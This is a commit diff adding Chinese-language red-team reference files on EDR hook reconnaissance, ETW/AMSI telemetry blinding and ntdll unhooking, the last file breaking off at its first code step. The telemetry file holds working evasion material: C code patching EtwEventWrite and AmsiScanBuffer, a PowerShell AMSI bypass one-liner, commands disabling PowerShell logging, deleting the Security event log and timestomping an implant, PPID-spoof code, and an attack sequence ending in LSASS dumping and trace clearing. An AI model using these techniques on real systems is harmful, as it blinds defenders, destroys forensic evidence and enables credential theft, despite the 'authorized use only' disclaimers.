reverse-skills-max: initial public release (restored, redacted, hardened)
This commit is contained in:
@@ -0,0 +1,226 @@
|
||||
# EDR Hook 调研速查
|
||||
|
||||
> 仅限授权红队 / 对抗演练 / 自有产品测试,禁止用于未授权目标。
|
||||
|
||||
本文档汇总主流 EDR / AV 在用户态与内核态的监控点,供红队侦察阶段快速定位"该处理什么"。
|
||||
|
||||
## 1. 主流 EDR 指纹与 hook 模式速查
|
||||
|
||||
| 厂商 / 产品 | 用户态组件 | 内核驱动 | 主要监控面 |
|
||||
|------------|-----------|---------|-----------|
|
||||
| CrowdStrike Falcon | `CSFalconService.exe`, `CSAgent.sys` 注入到目标进程 | `CSAgent.sys`, `CSBoot.sys` | 重内核 callback + ETW-TI;用户态 hook 较少(云查) |
|
||||
| Microsoft Defender for Endpoint (MDE) | `MsMpEng.exe`, `MpClient.dll` | `WdFilter.sys`, `WdBoot.sys`, `WdNisDrv.sys` | AMSI + ETW-TI + ntdll inline hook + kernel callback 全面 |
|
||||
| SentinelOne | `SentinelAgent.exe`, `SentinelHelperService.exe` | `SentinelMonitor.sys`, `SentinelDeviceControl.sys` | ntdll 用户态 hook 重 + 内核 callback + 自有 ETW provider |
|
||||
| Elastic Defend (原 Endpoint Security) | `elastic-endpoint.exe` | `elastic-endpoint-driver.sys` | 主要 ETW + 少量 ntdll hook,配合 Elastic Agent 上传 |
|
||||
| ESET | `ekrn.exe`, `eamsi.dll` | `eamonm.sys`, `epfwwfp.sys` | 用户态 hook 非常多(NtCreateFile / NtOpenProcess 等) |
|
||||
| Sophos Intercept X | `SophosFileScanner.exe`, `SophosNtpService.exe` | `SophosED.sys`, `hmpalert.sys` | ntdll hook + HMPA 内存防护 + 内核 callback |
|
||||
| Kaspersky | `avp.exe`, `klif.sys` | `klif.sys`, `klhk.sys` | 重用户态 hook + KLIF 自有微过滤 + 网络过滤驱动 |
|
||||
| Trend Micro Apex One | `TmListen.exe`, `TmCCSF.dll` | `tmcomm.sys`, `tmactmon.sys` | 用户态 hook + 行为监控驱动 |
|
||||
| Carbon Black | `RepMgr.exe`, `RepWAV.exe` | `ParityDriver.sys` | 偏内核 callback + ETW |
|
||||
|
||||
### 快速指纹脚本
|
||||
|
||||
```powershell
|
||||
$edrSigs = @{
|
||||
'CSAgent' = 'CrowdStrike Falcon'
|
||||
'SentinelAgent' = 'SentinelOne'
|
||||
'elastic-endpoint' = 'Elastic Defend'
|
||||
'ekrn' = 'ESET'
|
||||
'MsMpEng' = 'Microsoft Defender'
|
||||
'SophosFileScanner' = 'Sophos Intercept X'
|
||||
'avp' = 'Kaspersky'
|
||||
'TmListen' = 'Trend Micro Apex One'
|
||||
'cb' = 'Carbon Black'
|
||||
}
|
||||
|
||||
Get-Process | ForEach-Object {
|
||||
foreach ($k in $edrSigs.Keys) {
|
||||
if ($_.ProcessName -match $k) {
|
||||
"[+] $($edrSigs[$k]) detected: $($_.ProcessName) (PID $($_.Id))"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Get-ChildItem 'C:\Windows\System32\drivers\*.sys' |
|
||||
Where-Object { $_.Name -match 'CSAgent|Sentinel|elastic|eam|WdFilter|Sophos|klif|tmcomm|Parity' } |
|
||||
Select-Object Name, VersionInfo
|
||||
```
|
||||
|
||||
## 2. 用户态 ntdll hook 重点函数
|
||||
|
||||
EDR 几乎一定 hook 的 `ntdll.dll` 导出(按 ATT&CK 行为分组):
|
||||
|
||||
| 函数 | 监控的行为 | ATT&CK |
|
||||
|------|-----------|--------|
|
||||
| `NtCreateThreadEx` | 远程线程注入、QueueUserAPC 注入 | T1055.002 / T1055.004 |
|
||||
| `NtAllocateVirtualMemory` | shellcode 申请 RWX 内存 | T1055 |
|
||||
| `NtAllocateVirtualMemoryEx` | 跨进程内存申请(Win10+ 新 API) | T1055 |
|
||||
| `NtProtectVirtualMemory` | 改页面权限 RW→RX | T1055 |
|
||||
| `NtWriteVirtualMemory` | 跨进程写 shellcode | T1055.012 |
|
||||
| `NtMapViewOfSection` | section-based 注入(Process Doppelganging / Ghosting) | T1055.013 |
|
||||
| `NtCreateSection` | 配合 MapViewOfSection | T1055.013 |
|
||||
| `NtOpenProcess` | 打开目标进程拿 handle | T1057 |
|
||||
| `NtQueueApcThread` / `NtQueueApcThreadEx` | APC 注入 | T1055.004 |
|
||||
| `NtCreateProcess` / `NtCreateProcessEx` / `NtCreateUserProcess` | 创建子进程(含 PPID spoof) | T1106 |
|
||||
| `NtSetContextThread` | 改线程上下文(线程劫持注入) | T1055.003 |
|
||||
| `NtResumeThread` | 注入完后恢复线程 | T1055 |
|
||||
| `NtQuerySystemInformation` | 枚举进程 / 驱动 / handle | T1057 / T1082 |
|
||||
| `NtAdjustPrivilegesToken` | 提权获取 SeDebugPrivilege 等 | T1134 |
|
||||
| `NtLoadDriver` | 加载内核驱动(BYOVD) | T1543.003 |
|
||||
|
||||
### 验证 hook 是否存在
|
||||
|
||||
```powershell
|
||||
# 简单:把磁盘 ntdll 和当前进程的 ntdll 反汇编 diff
|
||||
# 1. 拿磁盘 ntdll
|
||||
copy C:\Windows\System32\ntdll.dll C:\temp\ntdll_clean.dll
|
||||
|
||||
# 2. 在 windbg 中 attach 任意进程,导出当前 ntdll 的 .text 段
|
||||
# .writemem c:\temp\ntdll_live.bin ntdll!.text L?<size>
|
||||
|
||||
# 3. 用 IDA / radare2 反汇编 NtAllocateVirtualMemory,正常应该是:
|
||||
# mov r10, rcx
|
||||
# mov eax, <SSN>
|
||||
# test byte ptr [...]
|
||||
# jne ...
|
||||
# syscall
|
||||
# ret
|
||||
# 如果第一条变成 jmp <某地址>,那就是 hook
|
||||
```
|
||||
|
||||
## 3. 内核 callback 监控点
|
||||
|
||||
EDR 注册的常见内核回调(一律可被 `attack-chain` 中的 BYOVD 路线 unregister,但代价高):
|
||||
|
||||
| API | 注册的回调时机 | 防御方用途 |
|
||||
|-----|--------------|-----------|
|
||||
| `PsSetCreateProcessNotifyRoutineEx` | 进程创建 / 退出 | 拦截可疑 child process |
|
||||
| `PsSetCreateThreadNotifyRoutine` | 线程创建 / 退出 | 检测远程线程注入 |
|
||||
| `PsSetLoadImageNotifyRoutine` | DLL / EXE 加载到任意进程 | 模块完整性 / 未签名拦截 |
|
||||
| `CmRegisterCallback` / `CmRegisterCallbackEx` | 注册表操作 | 持久化检测 |
|
||||
| `ObRegisterCallbacks` | `OpenProcess` / `OpenThread` 句柄请求 | 防止 LSASS 句柄获取 (T1003.001) |
|
||||
| `MmRegisterPhysicalMemoryCallback` | 物理内存映射 | 防 DMA / 内存取证 |
|
||||
| `IoRegisterFsRegistrationChange` | 文件系统注册 | minifilter 协同 |
|
||||
| `KeRegisterNmiCallback` | NMI(极少 EDR 用) | 异常监控 |
|
||||
| `EtwRegister` (内核侧) | 内核 ETW 上报 | 跟 ETW-TI 共生 |
|
||||
|
||||
### 用 windbg 枚举已注册 callback
|
||||
|
||||
```text
|
||||
0: kd> dx -r1 nt!PspCreateProcessNotifyRoutine
|
||||
0: kd> dx -r1 nt!PspCreateThreadNotifyRoutine
|
||||
0: kd> dx -r1 nt!PspLoadImageNotifyRoutine
|
||||
|
||||
0: kd> !object \Callback
|
||||
0: kd> !object \Callback\ProcessObject
|
||||
```
|
||||
|
||||
或用 PChunter / DRVHV 这类工具,普通用户可视化看 callback 列表。
|
||||
|
||||
## 4. 静态 dump hook 表(IDA + windbg 流程)
|
||||
|
||||
### 流程 A:单进程比对
|
||||
|
||||
```text
|
||||
1. 找一个已被 EDR 注入用户态组件的进程(任意已存活进程)
|
||||
2. windbg attach (-pn target.exe)
|
||||
3. lm m ntdll → 拿到模块基址
|
||||
4. .writemem c:\temp\ntdll_live.bin ntdll+0x0 L?<image size>
|
||||
5. 把 C:\Windows\System32\ntdll.dll 复制为 c:\temp\ntdll_disk.dll
|
||||
6. 在 IDA 里加载两个文件,跳到 NtAllocateVirtualMemory:
|
||||
- disk:标准 prologue
|
||||
- live:第一条 jmp <0x7FFE000000xx>
|
||||
7. 跟着 jmp 目标地址 → 那就是 EDR 的 trampoline,dump 出来
|
||||
8. 进 trampoline 看它最终落到哪个 DLL,确认 EDR 模块名
|
||||
```
|
||||
|
||||
### 流程 B:批量 hook 表生成
|
||||
|
||||
用 `HookHunter` 或自写脚本:
|
||||
|
||||
```powershell
|
||||
# pseudo workflow,详见 references 提到的脚本
|
||||
$disk = Get-Content C:\Windows\System32\ntdll.dll -Encoding Byte
|
||||
$live = # 通过 OpenProcess + ReadProcessMemory 拿
|
||||
# 对比 .text 段每个 export 的前 16 字节
|
||||
```
|
||||
|
||||
## 5. pe-sieve 自动检测
|
||||
|
||||
`pe-sieve` 是侦察 EDR hook 与 implant 自检的首选:
|
||||
|
||||
```powershell
|
||||
# 基本扫描
|
||||
pe-sieve64.exe /pid 1234
|
||||
|
||||
# 推荐组合(含 shellcode 与 hook 检测)
|
||||
pe-sieve64.exe /pid 1234 /shellc 3 /modules 3 /imp 3 /data 3 /dir hooks_dump
|
||||
|
||||
# 关键参数:
|
||||
# /shellc N shellcode 扫描等级 (0-3)
|
||||
# /modules N 模块完整性检查 (0-3)
|
||||
# /imp N IAT hook 检查
|
||||
# /data N 数据段扫描
|
||||
# /dir <path> dump 输出目录
|
||||
```
|
||||
|
||||
输出会在 `hooks_dump/<pid>.<name>/` 下产生 `*.tag` 文件,列出 hook 地址:
|
||||
|
||||
```text
|
||||
modified_modules.tag 示例:
|
||||
71f10000;ntdll.dll
|
||||
71f1a3b0;hook;jmp_far
|
||||
71f1c020;hook;jmp_near
|
||||
```
|
||||
|
||||
可直接喂给 IDA 跳到对应 RVA 做后续分析。
|
||||
|
||||
### 在 implant 中嵌入 pe-sieve(自检)
|
||||
|
||||
实战中常把 `pe-sieve` 编译为 lib (`libpe-sieve`),让 implant 启动时先自检:如果 ntdll 有 hook,就触发 unhook 流程;如果发现自己被 hook 反而要小心,可能在沙箱里。
|
||||
|
||||
## 6. API Monitor v2 动态观察
|
||||
|
||||
API Monitor v2(Rohitab)适合在 lab 里看 EDR 在何时何处插入 hook:
|
||||
|
||||
```text
|
||||
1. 启动 API Monitor v2(管理员)
|
||||
2. API Filter 勾选:
|
||||
- NT Native API → Memory Management
|
||||
- NT Native API → Process and Thread
|
||||
- Windows Defender / AMSI(如果可见)
|
||||
3. Monitor New Process → 选择 implant 测试样本
|
||||
4. 观察:
|
||||
- NtAllocateVirtualMemory 调用顺序
|
||||
- 是否被 EDR DLL 中转
|
||||
5. 在 Modules tab 看哪些 EDR DLL 被 LoadLibrary 注入
|
||||
```
|
||||
|
||||
## 7. 常见 EDR DLL(用户态)速查
|
||||
|
||||
| DLL | 厂商 | 备注 |
|
||||
|-----|------|------|
|
||||
| `umppc*.dll` | Microsoft Defender | MpClient userland |
|
||||
| `mpoav.dll` | Microsoft Defender | AMSI provider |
|
||||
| `aswAMSI.dll` | Avast | AMSI provider |
|
||||
| `eamsi.dll` | ESET | AMSI provider |
|
||||
| `IDPMServiceClient.dll` | Sophos | HMPA 注入 |
|
||||
| `klsihk64.dll` | Kaspersky | 注入到目标进程 |
|
||||
| `CrowdStrike.Sensor.dll` | CrowdStrike | 旧版本,新版主要靠内核 |
|
||||
| `SentinelInjection64.dll` | SentinelOne | 用户态注入 |
|
||||
| `TmUmEvt64.dll` | Trend Micro | 行为监控 |
|
||||
|
||||
确认目标 EDR 后,再决定逆向哪个 DLL 取 hook 表。
|
||||
|
||||
## 参考链接
|
||||
|
||||
- pe-sieve:<https://github.com/hasherezade/pe-sieve>
|
||||
- HollowsHunter:<https://github.com/hasherezade/hollows_hunter>
|
||||
- API Monitor v2:<http://www.rohitab.com/apimonitor>
|
||||
- MITRE ATT&CK T1562:<https://attack.mitre.org/techniques/T1562/>
|
||||
- MITRE ATT&CK T1055:<https://attack.mitre.org/techniques/T1055/>
|
||||
- ired.team EDR notes:<https://www.ired.team/offensive-security/defense-evasion>
|
||||
|
||||
## 路由回调
|
||||
|
||||
完成 hook 调研后,回到 `SKILL.md` 的 Step 3 选择绕过技术组合,然后按 `references/unhook-techniques.md` 与 `references/telemetry-blinding.md` 执行。
|
||||
@@ -0,0 +1,346 @@
|
||||
# 遥测致盲:ETW / AMSI / 反取证
|
||||
|
||||
> 仅限授权红队 / 对抗演练 / 自有产品测试,禁止用于未授权目标。
|
||||
|
||||
EDR 的检测能力很大程度依赖 ETW(Event Tracing for Windows)与 AMSI(Antimalware Scan Interface)这两条遥测管道。
|
||||
本文档汇总针对这两条管道的红队对策,并补充 Sysmon / PowerShell logging / 时间戳 spoof 等反取证组合。
|
||||
|
||||
对照 MITRE ATT&CK:T1562.001 / T1562.002 / T1562.006 / T1070 / T1027。
|
||||
|
||||
## 1. ETW 内部结构
|
||||
|
||||
ETW 是 Windows 内置的高性能事件追踪框架,EDR 用它做"轻量内核遥测"。
|
||||
红队最关心的 provider:
|
||||
|
||||
| Provider GUID | 名称 | 谁在用 |
|
||||
|--------------|------|--------|
|
||||
| `{F4E1897C-BB5D-5668-F1D8-040F4D8DD344}` | Microsoft-Windows-Threat-Intelligence (ETW-TI) | Defender、MDE、第三方 EDR |
|
||||
| `{A0C1853B-5C40-4B15-8766-3CF1C58F985A}` | Microsoft-Antimalware-Scan-Interface | Defender AMSI 上报 |
|
||||
| `{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}` | Microsoft-Windows-Kernel-Process | 进程 / 线程基础事件 |
|
||||
| `{2839FF94-8F12-4E1B-82E3-AF7AF77A450F}` | Microsoft-Windows-DotNETRuntime | .NET 加载、JIT |
|
||||
| `{E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}` | .NET CLR | CLR 启动 |
|
||||
|
||||
### 关键用户态 API
|
||||
|
||||
| API | DLL | 作用 |
|
||||
|-----|-----|------|
|
||||
| `EtwEventWrite` | `ntdll.dll` | 写事件(最常用) |
|
||||
| `EtwEventWriteFull` | `ntdll.dll` | 带 activity ID 的事件 |
|
||||
| `EtwEventWriteEx` | `ntdll.dll` | 扩展版本 |
|
||||
| `NtTraceEvent` | `ntdll.dll` | EtwEventWrite 底层 |
|
||||
| `NtTraceControl` | `ntdll.dll` | 控制 trace session(启/停/查询 provider) |
|
||||
| `EtwEventEnabled` | `ntdll.dll` | provider 是否启用 |
|
||||
| `EtwEventRegister` | `ntdll.dll` | 注册 provider |
|
||||
|
||||
### 调用链
|
||||
|
||||
```text
|
||||
应用代码 EventWrite(...)
|
||||
→ 微软封装 (TraceLogging API)
|
||||
→ ntdll!EtwEventWrite[Full|Ex]
|
||||
→ ntdll!NtTraceEvent (syscall)
|
||||
→ nt!NtTraceEvent (内核)
|
||||
→ 内核 ETW core → 消费端(EDR 用户态进程订阅 session)
|
||||
```
|
||||
|
||||
## 2. ETW Patch 三种方法
|
||||
|
||||
### 方法 A:EtwEventWrite head patch
|
||||
|
||||
直接把 `ntdll!EtwEventWrite` 入口改成立即返回成功:
|
||||
|
||||
```text
|
||||
原始:
|
||||
4C 8B DC mov r11, rsp
|
||||
48 81 EC 88 00 00 00 sub rsp, 88h
|
||||
...
|
||||
|
||||
patch 后(x64):
|
||||
33 C0 xor eax, eax ; STATUS_SUCCESS = 0
|
||||
C3 ret
|
||||
```
|
||||
|
||||
C 代码:
|
||||
|
||||
```c
|
||||
#include <windows.h>
|
||||
|
||||
BOOL PatchEtwEventWrite(void) {
|
||||
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
|
||||
if (!hNtdll) return FALSE;
|
||||
|
||||
FARPROC pEtw = GetProcAddress(hNtdll, "EtwEventWrite");
|
||||
if (!pEtw) return FALSE;
|
||||
|
||||
BYTE patch[] = { 0x33, 0xC0, 0xC3 }; // xor eax,eax; ret
|
||||
DWORD oldProt = 0;
|
||||
|
||||
// 注意:VirtualProtect 自身可能被 hook -> 用 indirect syscall 版本
|
||||
if (!VirtualProtect(pEtw, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProt))
|
||||
return FALSE;
|
||||
|
||||
memcpy(pEtw, patch, sizeof(patch));
|
||||
|
||||
VirtualProtect(pEtw, sizeof(patch), oldProt, &oldProt);
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
|
||||
**OPSEC 警告**:写 ntdll 内存本身是 ETW-TI 监控的 `ALPC_MODIFY_PROCESS` / `PROTECTVM` 事件源。
|
||||
必须 **先用 indirect syscall + 绕过 NtProtectVirtualMemory hook 后再 patch**,
|
||||
否则 patch 还没生效 EDR 就已经收到告警。
|
||||
|
||||
### 方法 B:EtwEventEnabled always-false
|
||||
|
||||
更隐蔽:不修改 `EtwEventWrite`,而是让 `EtwEventEnabled` 永远返回 FALSE,
|
||||
应用层会自己判断 "provider 没开" → 不调用 `EtwEventWrite`,对内存 hash 完整性检查更友好(很多 EDR 校验 `EtwEventWrite` 字节)。
|
||||
|
||||
```c
|
||||
// EtwEventEnabled 通常返回 BOOLEAN (1 byte)
|
||||
BYTE patch[] = { 0x32, 0xC0, 0xC3 }; // xor al,al; ret
|
||||
```
|
||||
|
||||
### 方法 C:NtTraceControl 关 provider
|
||||
|
||||
用 syscall 直接关闭 EDR session(侵入式,但是不动 ntdll 字节):
|
||||
|
||||
```c
|
||||
// NtTraceControl(EtwpStopTrace, ...)
|
||||
// 需要 SeSystemProfilePrivilege 或更高
|
||||
// 适用于 Local Admin + UAC bypass 后
|
||||
```
|
||||
|
||||
实战中较少用,因为:
|
||||
|
||||
- 关 session 本身会触发"ETW provider stopped"事件被另一条管道感知
|
||||
- 需要高权限
|
||||
|
||||
### 方法 D:内核态 ETW patch(仅在已有 BYOVD/内核读写时)
|
||||
|
||||
```text
|
||||
nt!EtwpEventTracingProviderEnableInfo
|
||||
nt!EtwThreatIntProvRegHandle
|
||||
直接置 0 让所有 ETW-TI 事件被丢弃
|
||||
```
|
||||
|
||||
属于 attack-chain 的 BYOVD 阶段,本 skill 不深入。
|
||||
|
||||
## 3. AMSI Bypass
|
||||
|
||||
AMSI 是 Windows 提供给 PowerShell / .NET / WMI / VBA 在执行脚本前做反病毒扫描的接口。
|
||||
红队最常碰到的是 PowerShell + AMSI。
|
||||
|
||||
### 经典 AmsiScanBuffer Patch
|
||||
|
||||
```c
|
||||
// amsi.dll!AmsiScanBuffer 入口写:
|
||||
// mov eax, 0x80070057 ; E_INVALIDARG
|
||||
// ret 4 ; (32位) 或 ret (64位)
|
||||
|
||||
BOOL PatchAmsi(void) {
|
||||
HMODULE h = LoadLibraryA("amsi.dll");
|
||||
if (!h) return FALSE;
|
||||
FARPROC p = GetProcAddress(h, "AmsiScanBuffer");
|
||||
if (!p) return FALSE;
|
||||
|
||||
BYTE patch64[] = {
|
||||
0xB8, 0x57, 0x00, 0x07, 0x80, // mov eax, 0x80070057
|
||||
0xC3 // ret
|
||||
};
|
||||
DWORD old = 0;
|
||||
VirtualProtect(p, sizeof(patch64), PAGE_EXECUTE_READWRITE, &old);
|
||||
memcpy(p, patch64, sizeof(patch64));
|
||||
VirtualProtect(p, sizeof(patch64), old, &old);
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
|
||||
PowerShell 一句话版本(仅参考检测对抗,本身被签名 / Defender 拦截):
|
||||
|
||||
```powershell
|
||||
# 概念演示——真实环境必须配合混淆 / HWBP
|
||||
[Ref].Assembly.GetType('System.Management.Automation.'+$([char]65+'msi'+'Utils')).GetField($([char]97+'msiInitFailed'),'NonPublic,Static').SetValue($null,$true)
|
||||
```
|
||||
|
||||
### 进阶方案 1:Hardware Breakpoint AMSI Bypass
|
||||
|
||||
不动 amsi.dll 内存(不会触发完整性扫描):
|
||||
|
||||
1. AddVectoredExceptionHandler
|
||||
2. 在 `AmsiScanBuffer` 入口设 `DR0`
|
||||
3. VEH 命中时设置 `RAX = 0x80070057`、`RIP = ret 指令地址`、`RSP += 8`
|
||||
4. ContinueExecution
|
||||
|
||||
与 unhook-techniques.md 的 HWBP Blindside 同一套基础设施,可以共用 VEH。
|
||||
|
||||
### 进阶方案 2:AmsiContext / AmsiSession 损坏
|
||||
|
||||
构造畸形 `AmsiContext` 结构,让 `AmsiScanBuffer` 内部因为校验失败提前返回 success:
|
||||
|
||||
```text
|
||||
// AmsiContext 头部应该是 "AMSI" 魔数
|
||||
// 改成 "XXXX" → AmsiScanBuffer 内部校验失败但返回 S_OK + AMSI_RESULT_CLEAN
|
||||
```
|
||||
|
||||
### 进阶方案 3:Reflective 加载副本 amsi.dll
|
||||
|
||||
不用系统 amsi.dll,把一份干净副本反射加载到自己进程,并重定向 PowerShell 引擎对 AMSI 的调用。
|
||||
适用于已经在加载阶段拦截 PowerShell.exe 启动的高级 EDR。
|
||||
|
||||
## 4. 反取证:清除痕迹
|
||||
|
||||
### PowerShell ScriptBlock Logging 关闭
|
||||
|
||||
```powershell
|
||||
# 注册表(需管理员)
|
||||
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging' `
|
||||
-Name 'EnableScriptBlockLogging' -Value 0 -Force
|
||||
|
||||
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging' `
|
||||
-Name 'EnableModuleLogging' -Value 0 -Force
|
||||
|
||||
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription' `
|
||||
-Name 'EnableTranscripting' -Value 0 -Force
|
||||
|
||||
# Group Policy 路径:
|
||||
# Computer Configuration → Administrative Templates → Windows Components →
|
||||
# Windows PowerShell → Turn on PowerShell Script Block Logging = Disabled
|
||||
```
|
||||
|
||||
### 清 PowerShell history
|
||||
|
||||
```powershell
|
||||
# 当前会话
|
||||
Clear-History
|
||||
# 持久化 history (PSReadLine)
|
||||
Remove-Item (Get-PSReadLineOption).HistorySavePath -Force -ErrorAction SilentlyContinue
|
||||
```
|
||||
|
||||
### 清 Prefetch
|
||||
|
||||
```powershell
|
||||
# 需要 SYSTEM
|
||||
Remove-Item 'C:\Windows\Prefetch\implant*.pf' -Force
|
||||
# 整体清空(动作大,慎用)
|
||||
# Remove-Item 'C:\Windows\Prefetch\*.pf' -Force
|
||||
```
|
||||
|
||||
### 清 ETL log
|
||||
|
||||
```powershell
|
||||
# 停 session 后删 etl
|
||||
logman stop "EventLog-Security" -ets
|
||||
Remove-Item 'C:\Windows\System32\winevt\Logs\Security.evtx' -Force -ErrorAction SilentlyContinue
|
||||
# 注意:直接删 .evtx 会被 Event Log Service 重新创建并写入 "log cleared" 事件 (Event ID 1102)
|
||||
# 更隐蔽:内存中 patch wevtsvc.dll 的 EventLog API(属于 T1070.001)
|
||||
```
|
||||
|
||||
### 时间戳 spoof (T1070.006)
|
||||
|
||||
```powershell
|
||||
$f = 'C:\Windows\Temp\implant.dll'
|
||||
$ref = 'C:\Windows\System32\notepad.exe'
|
||||
(Get-Item $f).CreationTime = (Get-Item $ref).CreationTime
|
||||
(Get-Item $f).LastWriteTime = (Get-Item $ref).LastWriteTime
|
||||
(Get-Item $f).LastAccessTime = (Get-Item $ref).LastAccessTime
|
||||
```
|
||||
|
||||
## 5. Sysmon 监控规避
|
||||
|
||||
Sysmon 是社区最常见的免费遥测(很多企业用 olaf 配置)。
|
||||
关键事件:
|
||||
|
||||
| Event ID | 含义 |
|
||||
|----------|------|
|
||||
| 1 | ProcessCreate(含 PPID、CommandLine、Hash) |
|
||||
| 7 | ImageLoad(DLL 加载) |
|
||||
| 8 | CreateRemoteThread |
|
||||
| 10 | ProcessAccess(OpenProcess) |
|
||||
| 11 | FileCreate |
|
||||
| 12/13/14 | 注册表 |
|
||||
| 22 | DNS Query |
|
||||
| 25 | ProcessTampering(image hollowing) |
|
||||
|
||||
### 规避思路
|
||||
|
||||
1. **不创建新进程** — 全部在已注入进程内行动,避开 Event ID 1
|
||||
2. **PPID Spoof** — 用 `UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PARENT_PROCESS)` 把 PPID 设为 `explorer.exe`,让 Sysmon ProcessCreate 看着合法
|
||||
|
||||
```c
|
||||
STARTUPINFOEX si = {0};
|
||||
PROCESS_INFORMATION pi = {0};
|
||||
SIZE_T size = 0;
|
||||
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, g_explorerPid);
|
||||
|
||||
si.StartupInfo.cb = sizeof(STARTUPINFOEX);
|
||||
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
|
||||
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, size);
|
||||
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
|
||||
UpdateProcThreadAttribute(si.lpAttributeList, 0,
|
||||
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL);
|
||||
|
||||
CreateProcessW(L"C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
|
||||
EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
|
||||
```
|
||||
|
||||
3. **Unbacked memory + 不动镜像** — Process Hollowing 在新版 Sysmon 已经被 Event ID 25 捕获。
|
||||
首选用 **module stomping**(覆盖已加载合法 DLL 的某节区)或 **dirty vanity** 等较新技术,
|
||||
配合 PPID spoof
|
||||
4. **不要远程线程** — 避免 Event ID 8;用 `NtCreateThreadEx` 在自己进程内执行 / APC / Early Bird APC
|
||||
5. **DNS 走 DoH / HTTPS** — 避免 Event ID 22
|
||||
|
||||
## 6. Call Stack Spoof + 时间戳让事件像合法软件
|
||||
|
||||
即使 ProcessCreate 没办法不触发(比如某些场景必须 spawn child),可以:
|
||||
|
||||
- 把 CommandLine 改成与某个合法软件相似的格式
|
||||
- PPID spoof 到 services.exe(伪装 SCM 启动的服务)
|
||||
- 修改 ImageLoad 看到的 Image hash:通过 module stomping 把 implant 代码放进一个签名 DLL 内存空间
|
||||
- 配合 CallStackSpoofer:Sysmon 即使开了 EnableCallTracing 也看不到 implant 帧
|
||||
|
||||
## 7. 实战 OPSEC:操作顺序
|
||||
|
||||
**顺序错了 EDR 会先收到告警**,导致后续动作直接被熔断。
|
||||
|
||||
正确顺序:
|
||||
|
||||
```text
|
||||
1. AMSI bypass (HWBP 优先,避免写 amsi.dll)
|
||||
─── 让 .NET / PowerShell 装载 implant 时不被扫
|
||||
2. ETW patch (先 patch EtwEventWrite,再做任何 syscall)
|
||||
─── 关掉自身后续动作的遥测
|
||||
3. NtProtectVirtualMemory 用 indirect syscall 调用
|
||||
─── 准备好"安全的"内存权限切换通道
|
||||
4. Unhook ntdll (Peruns Fart) 或 enable indirect syscall
|
||||
─── 抹掉用户态 hook
|
||||
5. Call stack spoof setup
|
||||
─── 准备好之后所有 syscall 的伪栈
|
||||
6. 实际 payload 执行 (注入 / 横向 / dump LSASS)
|
||||
7. 清痕迹 (PowerShell history / Prefetch / 时间戳)
|
||||
```
|
||||
|
||||
错误顺序示例:
|
||||
|
||||
```text
|
||||
❌ 先 unhook ntdll → ETW-TI 立即上报 PROTECTVM + module modification → SOC 已经收到告警
|
||||
❌ 先 dump LSASS → AMSI / ETW 都还没压 → 高置信 T1003.001 告警
|
||||
✅ AMSI → ETW → unhook → spoof → payload
|
||||
```
|
||||
|
||||
## 参考资料
|
||||
|
||||
- ETW Threat Intelligence Provider:<https://learn.microsoft.com/en-us/windows/win32/etw/event-tracing-portal>
|
||||
- ETW Patching 综述:<https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/>
|
||||
- AMSI Bypass 大全:<https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell>
|
||||
- Sysmon olaf 配置:<https://github.com/olafhartong/sysmon-modular>
|
||||
- PPID Spoofing:<https://blog.didierstevens.com/2017/03/20/>
|
||||
- Ekko sleep mask:<https://github.com/Cracked5pider/Ekko>
|
||||
- Foliage sleep obfuscation:<https://github.com/SecIdiot/FOLIAGE>
|
||||
- MITRE T1562.002 (Disable Windows Event Logging):<https://attack.mitre.org/techniques/T1562/002/>
|
||||
- MITRE T1562.006 (Indicator Blocking):<https://attack.mitre.org/techniques/T1562/006/>
|
||||
- MITRE T1070 (Indicator Removal):<https://attack.mitre.org/techniques/T1070/>
|
||||
|
||||
## 路由回调
|
||||
|
||||
完成本三件套(hook 调研 → unhook → telemetry 致盲)后,回到 `SKILL.md` Step 5 在 sandbox 验证,
|
||||
然后按 `attack-chain/` 的 initial access 与 lateral movement 章节进入下一阶段。
|
||||
@@ -0,0 +1,338 @@
|
||||
# Unhook / 直接 / 间接 syscall 技术清单
|
||||
|
||||
> 仅限授权红队 / 对抗演练 / 自有产品测试,禁止用于未授权目标。
|
||||
|
||||
本文档汇总当前主流的"绕过用户态 hook"技术,从最经典的 unhook 到最新的 hardware breakpoint Blindside。
|
||||
所有技术都对照 MITRE ATT&CK T1562.001 / T1027 / T1055,便于报告输出。
|
||||
|
||||
## 1. Peruns Fart / Fresh Ntdll from disk
|
||||
|
||||
### 原理
|
||||
|
||||
EDR 的 hook 全部位于 **当前进程内存中的 ntdll.dll**。磁盘上 `C:\Windows\System32\ntdll.dll` 是干净的。
|
||||
所以只要把磁盘 ntdll 重新映射进当前进程并覆盖内存中的 `.text` 段,hook 就被擦掉。
|
||||
|
||||
```text
|
||||
当前进程 ntdll.dll (RWX)
|
||||
┌─────────────────────────┐
|
||||
│ .text (含 EDR hook jmp) │ ◄── 用磁盘干净 .text 覆盖
|
||||
└─────────────────────────┘
|
||||
▲
|
||||
│ NtMapViewOfSection(disk_ntdll)
|
||||
│
|
||||
磁盘 C:\Windows\System32\ntdll.dll ← 干净
|
||||
```
|
||||
|
||||
### 实现要点
|
||||
|
||||
```c
|
||||
// 步骤:
|
||||
